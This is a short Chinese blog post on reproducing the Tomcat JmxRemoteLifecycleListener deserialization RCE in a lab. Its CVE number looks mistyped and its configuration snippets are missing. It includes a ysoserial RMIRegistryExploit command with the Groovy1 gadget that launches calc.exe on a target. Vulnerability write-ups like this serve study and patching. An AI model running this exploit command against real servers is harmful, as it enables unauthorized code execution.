Tomcat序列化(远程代码执行)漏洞——CVE-2016-8753

漏洞背景

     Tomcat是运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器。Tomcat也可以看作是Apache的扩展,不过实际上Tomcat也可以独立于Apache运行。

漏洞描述

       Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。部分Tomcat用户可能使用了JmxRemoteLifecycleListener这个监听器,但是由于Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。

漏洞原因

      漏洞最根本的原因是Tomcat配置JMX做监控的时候使用JmxRemoteLifecycleListener方式(tomcat使用jmx rmi做监控有两种方式)

      而JmxRemoteLifecycleListener底层使用了存在漏洞的groovy-2.3.9.jar包,导致了序列化漏洞(远程代码执行)。

利用条件

        需要支持开启JmxRemoteLifecycleListener方式,默认不开启

漏洞利用

        我测试软件已打包  (提取码:qXghV9) 需要自行在catalina.bat修改IP地址

     环境准备

      0.需要将catalina-jmx-remote.jar和groovy-2.3.9.jar包放到Tomcat/lib目录下

      1.修改 Tomcat/bin 目录下catalina.bat,添加以下内容(window为例)

       2.修改 tomcat server.xml 配置文件,添加以下内容

       3.攻击测试 

                java -cp ysoserial-master.jar ysoserial.exploit.RMIRegistryExploit 10.18.35.13x 8009 Groovy1 calc.exe

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容